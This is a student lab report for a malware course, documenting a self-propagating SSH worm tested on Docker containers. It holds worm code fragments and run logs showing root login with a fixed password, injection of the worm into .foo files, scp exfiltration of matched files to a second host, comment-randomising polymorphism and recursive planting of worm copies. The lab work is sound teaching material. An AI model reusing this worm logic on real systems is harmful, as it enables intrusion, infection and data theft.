Assignment Report
ON
Malware Offline

Submitted by: K M Asifur Rahman
Std Id: 1805063
Sec : B

After setting Docker these are the 10 dockers in the VM:

```
seed@security:~/offline2/Offline-Malware-Jan23/Docker-setup$ dockps
38d1469fca14  test_sshd_container_1
d31c40ffca30  test_sshd_container_10
86a54e4ac589  test_sshd_container_2
2ea7b5af090b  test_sshd_container_3
2308014804c8  test_sshd_container_4
9858efdbd851  test_sshd_container_5
ed788d944541  test_sshd_container_6
0ec91c68d06e  test_sshd_container_7
f0f78d0b8742  test_sshd_container_8
d0723aab97d5  test_sshd_container_9
seed@security:~/offline2/Offline-Malware-Jan23/Docker-setup$
```

Task 1:

I used most of the codes from Abraworm.py and added virus string and file read & write from FooVirus.py.

The resulting worm can find .foo file in the victim machine (if they are in root) and attack the file again this infected .foo file is sent to another machine like Abraworm did.

Copying virus:

```
IN = open(sys.argv[0], 'r')
virus = [line for (i,line) in enumerate(IN) if i < 100] # only upto last line of this virus file
```

After establishing a connection with the remote machine using Ip: '172.17.0.2'

Find .foo files

```
received_list = error = None
stdin, stdout, stderr = ssh.exec_command('ls *.foo')
error = stderr.readlines()
if error:
    print(error)
received_list = list(map(lambda x: x.encode('utf-8'), stdout.readlines()))
```

They are in the received_list.

Open those files copy the previous elements and put the virus there using sftp:

```
for item in files_of_interest_at_target:
    with ssh.open_sftp() as sftp:
        with sftp.file(item, 'r') as read_file:
            all_of_it=read_file.readlines()

        with sftp.file(item, 'w') as remote_file:
            remote_file.writelines(virus)
            all_of_it=["#"+line for line in all_of_it]
            remote_file.writelines(all_of_it)
```

After downloading these infected files send them to IP: '172.17.0.3' as Abraworm did.

Then remove these infected files from local:

```
for item in files_of_interest_at_target:
    try:
        os.remove(item)

    except:
        print("error")
```

Results:

Before the attack:

Ip: '172.17.0.2'

```
root@38d1469fca14: ~   root@86a54e4ac589: ~   seed@security: ~/offlin...
root@38d1469fca14:~# touch a.foo
root@38d1469fca14:~# echo hello_from_ip:172.17.0.2 > a.foo
root@38d1469fca14:~# ls
a.foo  b.txt  t1
root@38d1469fca14:~# cat a.foo
hello_from_ip:172.17.0.2
root@38d1469fca14:~#
```

Ip:'172.17.0.3'

```
File  Edit  View  Search  Terminal  Tabs  Help
root@38d1469fca14: ~   root@86a54e4ac589: ~   seed@security: ~/offlin...
root@86a54e4ac589:~# ls
root@86a54e4ac589:~#
```

After:

local

```
root@38d1469fca14: ~   root@86a54e4ac589: ~   seed@security: ~/offlin...
seed@security:~/offline2/Offline-Malware-Jan23/offline2$ python3 1805063_1.py

Trying password mypassword for user root at IP address: 172.17.0.2


connected



output of 'ls' command: [b'a.foo\n']

files of interest at the target: [b'a.foo']
new edited
dumped

Will now try to exfiltrate the files


connected to exhiltration host

done
seed@security:~/offline2/Offline-Malware-Jan23/offline2$
```

Ip:'172.17.0.2'

File Edit View Search Terminal Tabs Help

root@38d1469fca14: ~ | root@86a54e4ac589: ~ | seed@security: ~/offlin...

```
root@38d1469fca14:~# cat a.foo
hello_from_ip:172.17.0.2
root@38d1469fca14:~# ls
a.foo  b.txt  t1
root@38d1469fca14:~# cat a.foo
#!/usr/bin/env python
import sys
import os
import glob
import random
import paramiko
import scp
import select
import signal

debug = 1

NHOSTS = NUSERNAMES = NPASSWDS = 3

def get_new_usernames(how_many):
    if debug: return ['root']
def get_fresh_ipaddresses(how_many):
    if debug: return ['172.17.0.2']
def get_new_passwds(how_many):
    if debug: return ['mypassword']
IN = open(sys.argv[0], 'r')
virus = [line for (i,line) in enumerate(IN) if i < 100] # only upto last line of
 this virus file
while True:
    usernames = get_new_usernames(NUSERNAMES)
    passwds =   get_new_passwds(NPASSWDS)
```

```
                if len(files_of_interest_at_target) > 0:
                    print("\nWill now try to exfiltrate the files")
                    try:
                        ssh = paramiko.SSHClient()
                        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()
)
                        ssh.connect('172.17.0.3',port=22,username='root',passwor
d='mypassword',timeout=5)
                        scpcon = scp.SCPClient(ssh.get_transport())
                        print("\n\nconnected to exhiltration host\n")
                        for filename in files_of_interest_at_target:
                            scpcon.put(filename)
                        scpcon.close()
                    except:
                        print("No uploading of exfiltrated files\n")
                        continue

                    for item in files_of_interest_at_target:
                        try:
                            os.remove(item)

                        except:
                            print("error")

                print("done")
    if debug: break
    # end

#hello_from_ip:172.17.0.2
root@38d1469fca14:~#
```

Ip:'172.17.0.3'

File Edit View Search Terminal Tabs Help

root@38d1469fca14: ~ | root@86a54e4ac589: ~ | seed@security: ~/offlin...

```
root@86a54e4ac589:~# ls
root@86a54e4ac589:~# ls
a.foo
root@86a54e4ac589:~# cat a.foo
#!/usr/bin/env python
import sys
import os
import glob
import random
import paramiko
import scp
import select
import signal

debug = 1

NHOSTS = NUSERNAMES = NPASSWDS = 3

def get_new_usernames(how_many):
    if debug: return ['root']
def get_fresh_ipaddresses(how_many):
    if debug: return ['172.17.0.2']
def get_new_passwds(how_many):
    if debug: return ['mypassword']
IN = open(sys.argv[0], 'r')
virus = [line for (i,line) in enumerate(IN) if i < 100] # only upto last line of
 this virus file
while True:
    usernames = get_new_usernames(NUSERNAMES)
    passwds =   get_new_passwds(NPASSWDS)
```

Task 2:

I modified the Abraworm.py and inserted a new func that adds newline and characters in comment lines randomly.
I also made sure the name of the modified file is generated randomly every time it's run and the modified file is also executable as previously.

Random character adding func:

```
def add_random_to_comments(original_file, modified_file):
    with open(original_file, 'r') as infile:
        content = infile.readlines()

    # Modify the content by adding random spaces, newlines, and characters to comment lines
    modified_content = ""
    for line in content:
        modified_line = ""
        if line.strip().startswith('#'):
            modified_line = line.strip()
            random_chars = ''.join(random.choices(string.ascii_letters + string.digits, k=random.randint(1, 50)))
            modified_line += random_chars
        else:
            modified_line = line

        if random.random() > 0.3:
            modified_line += "\n"  # Add a random newline with 20% probability
        else:
            modified_line = line
        modified_content += modified_line

    with open(modified_file, 'w') as outfile:
        outfile.write(modified_content)
```

Generating modified file_name randomly:

```
random_chars = ''.join(random.choices(string.ascii_letters + string.digits, k=random.randint(1, 5)))
mod_name=random_chars+"_"+sys.argv[0][-3:]
```

Function call:

```
add_random_to_comments(sys.argv[0], mod_name)
```

Sending the modified_copy:

```
    # Now deposit a copy of AbraWorm.py at the target host:
    scpcon.put(mod_name)
    scpcon.close()
```

After sending the files with ‘abracadabra’ inside to Ip:'172.17.0.3'
Delete them from local machine:

```
for item in files_of_interest_at_target:
    try:
        os.remove(item)

    except:
        print("error")
```

Results:

Before the attack:

Ip:172.17.0.2

```
File  Edit  View  Search  Terminal  Tabs  Help
root@38d1469fca14: ~   root@86a54e4ac589: ~   seed@security: ~/offlin...
root@38d1469fca14:~# ls
a.foo  b.txt  t1
root@38d1469fca14:~# cat b.txt
abracadabra
```

Ip: 172.17.0.3

```
File  Edit  View  Search  Terminal  Tabs  Help
root@38d1469fca14: ~   root@86a54e4ac589: ~   seed@security: ~/offlin...

root@86a54e4ac589:~# ls
root@86a54e4ac589:~# ls
a.foo
```

After:

```
seed@security:~/offline2/Offline-Malware-Jan23/offline2$ python3 1805063_2.py
Trying password mypassword for user root at IP address: 172.17.0.2

connected


output of 'ls' command: [b'a.foo\n', b'b.txt\n', b't1\n']
files of interest at the target: [b'b.txt']
Will now try to exfiltrate the files

connected to exhiltration host
seed@security:~/offline2/Offline-Malware-Jan23/offline2$
```

Ip:172.17.0.2 there is a v_.py that is the modified abraworm.

```
File  Edit  View  Search  Terminal  Tabs  Help
root@38d1469fca14: ~   root@86a54e4ac589: ~   seed@security: ~/offlin...
root@38d1469fca14:~# ls
a.foo  b.txt  t1
root@38d1469fca14:~# cat b.txt
abracadabra
root@38d1469fca14:~# ls
a.foo  b.txt  t1  v_.py
root@38d1469fca14:~# cat v_.py
#!/usr/bin/env pythonppt0qPIu

### AbraWorm.pyUtO13iloSlDYBd





import sys
import os
import random

import paramiko

import scp
import select

import signal

import string
```

Ip: 172.17.0.3

```
File  Edit  View  Search  Terminal  Tabs  Help
root@38d1469fca14: ~   root@86a54e4ac589: ~   seed@security: ~/offlin...
root@86a54e4ac589:~# ls
a.foo  b.txt
root@86a54e4ac589:~#
```

Differences between Abraworm.py and modified file:

offline2 > 1805063_2.py

```python
trigrams = trigrams.split()
digrams  = digrams.split()

def get_new_usernames(how_many):
    if debug: return ['root']      # need a working usernam
    if how_many == 0: return 0
    selector = "{0:03b}".format(random.randint(0,7))
    usernames = [''.join(map(lambda x: random.sample(trigra
          if int(selector[x]) == 1 else random.sample(digra
    return usernames

def get_new_passwds(how_many):
    if debug: return ['mypassword']      # need a working u
    if how_many == 0: return 0
    selector = "{0:03b}".format(random.randint(0,7))
    passwds = [ ''.join(map(lambda x:  random.sample(trigra
                if random.random() > 0.5 else '') if int(se
                        else random.sample(digrams,1)[0], r
    return passwds

def get_fresh_ipaddresses(how_many):
    if debug: return ['172.17.0.2']
                    # Provide one or more IP address that y
                    # want `attacked' for debugging purpose
                    # The usrname and password you provided
                    # in the previous two functions must
                    # work on these hosts.
    if how_many == 0: return 0
    ipaddresses = []
    for i in range(how_many):
        first,second,third,fourth = map(lambda x: str(1 + r
        ipaddresses.append( first + '.' + second + '.' + th
    return ipaddresses
```

offline2 > v_.py

```python

def get_new_passwds(how_many):

    if debug: return ['mypassword']      # need a working u
    if how_many == 0: return 0

    selector = "{0:03b}".format(random.randint(0,7))

    passwds = [ ''.join(map(lambda x:  random.sample(trigra

                if random.random() > 0.5 else '') if int(se

                        else random.sample(digrams,1)[0], r

    return passwds


def get_fresh_ipaddresses(how_many):

    if debug: return ['172.17.0.2']
                    # Provide one or more IP address that y
# want `attacked' for debugging purposes.yMsXCyAQJMAJ6rqLHC
                    # The usrname and password you provided
# in the previous two functions mustDnrfMuAkJCikI6
# work on these hosts.IlbHT4CRsQtiQrkiMfLySzzBT6LrYoHTk3Hcm
    if how_many == 0: return 0
    ipaddresses = []

    for i in range(how_many):

        first,second,third,fourth = map(lambda x: str(1 + r

        ipaddresses.append( first + '.' + second + '.' + th
```

Task 3:

Almost the same as Task 2. There are some modifications for separating directories and filenames for recursive actions.

Recursively find the files with “abracadabra” inside

```
# Now let's look for files that contain the string 'abracadabra'
cmd = 'grep -rls abracadabra *'
stdin, stdout, stderr = ssh.exec_command(cmd)
error = stderr.readlines()
```

After finding the files in received_list and stripping them in files_of_inerset_at_target extract the filename and directory paths and store them in different lists.

```
file_directories = [os.path.dirname(file_item.decode('utf-8')) for file_item in files_of_interest_at_target]

print(file_directories)

file_names = [os.path.basename(file_item.decode('utf-8')) for file_item in files_of_interest_at_target]
print(file_names)
```

Creating directory paths to put the modified file in the same directory where the text file exists

```
for i in range(len(file_directories)):
    # sf=f.strip("/")
    if(file_directories[i]==""):
        print("root")
    else:
        file_directories[i]=file_directories[i]+"/"

    print(file_directories[i])
```

Putting modified files there:

```
scpcon = scp.SCPClient(ssh.get_transport())
if len(files_of_interest_at_target) > 0:
    x=0
    for target_file in files_of_interest_at_target:
        scpcon.get(target_file)
        scpcon.put(mod_name,"~/"+file_directories[x])
        x+=1
    scpcon.close()
```

Now putting the text file to Ip:172.17.0.3

```
    print("\n\nconnected to exhiltration host\n")
    for filename in file_names:
        scpcon.put(filename)
    scpcon.close()
```

Removing both the modified files and downloaded text files:

```
try:
    os.remove(mod_name)
except:
    print("error")
for item in file_names:
    try:
        os.remove(item)

    except:
        print("error")
```

Results:

Before attack

Ip:172.17.0.2

```
File  Edit  View  Search  Terminal  Tabs  Help
root@38d1469fca14: ~/t1 ×   root@86a54e4ac589: ~ ×   seed@security: ~/offlin... ×   +

root@38d1469fca14:~# ls
a.foo  b.txt  t1  v_.py
root@38d1469fca14:~# cat b.txt
abracadabra
root@38d1469fca14:~# rm v_.py
root@38d1469fca14:~# cd t1
root@38d1469fca14:~/t1# ls
c.txt
root@38d1469fca14:~/t1# cat c.txt
abracadabra
```

Ip: 172.17.0.3

```
File  Edit  View  Search  Terminal  Tabs  Help
root@38d1469fca14: ~ ×   root@86a54e4ac589: ~ ×   seed@security: ~/offlin... ×   +

root@86a54e4ac589:~# ls
root@86a54e4ac589:~# ls
a.foo
```

After:

```
root@38d1469fca14: ~/t1 ×   root@86a54e4ac589: ~ ×   seed@security: ~/offlin... ×   +
seed@security:~/offline2/Offline-Malware-Jan23/offline2$ python3 1805063_3.py

Trying password mypassword for user root at IP address: 172.17.0.2


connected



output of 'ls' command: [b'a.foo\n', b'b.txt\n', b't1\n']

files of interest at the target: [b'b.txt', b't1/c.txt']
['', 't1']
['b.txt', 'c.txt']
root

t1/
here

Will now try to exfiltrate the files


connected to exhiltration host

seed@security:~/offline2/Offline-Malware-Jan23/offline2$
```

Ip:172.17.0.2. There are 2 files with “abracadabra” 1 in the root and another in t1 folder.
In both places, the modified Abraworm is placed

```
File  Edit  View  Search  Terminal  Tabs  Help
root@38d1469fca14: ~/t1 ×   root@86a54e4ac589: ~ ×   seed@security: ~/offlin... ×   +

root@38d1469fca14:~# ls
a.foo  b.txt  t1  v_.py
root@38d1469fca14:~# cat b.txt
abracadabra
root@38d1469fca14:~# rm v_.py
root@38d1469fca14:~# cd t1
root@38d1469fca14:~/t1# ls
c.txt
root@38d1469fca14:~/t1# cat c.txt
abracadabra
root@38d1469fca14:~/t1# cd ..
root@38d1469fca14:~# ls
a.foo  a_.py  b.txt  t1
root@38d1469fca14:~# cd t1
root@38d1469fca14:~/t1# ls
a_.py  c.txt
root@38d1469fca14:~/t1# cat a_.py
#!/usr/bin/env python9ZxEsNwyaOMHIcgsLbJDUGG3DHy4yKer59mRWiAsEKVql1C


### AabraWorm.pyOZr1mtZyB









import sys
```

Ip:172.17.0.2

```
root@86a54e4ac589: ~
File  Edit  View  Search  Terminal  Tabs  Help
root@38d1469fca14: ~/t1 ×   root@86a54e4ac589: ~ ×   seed@security: ~/offlin... ×   +

root@86a54e4ac589:~# ls
a.foo  b.txt  c.txt
root@86a54e4ac589:~# cat b.txt
abracadabra
root@86a54e4ac589:~# cat c.txt
abracadabra
root@86a54e4ac589:~#
```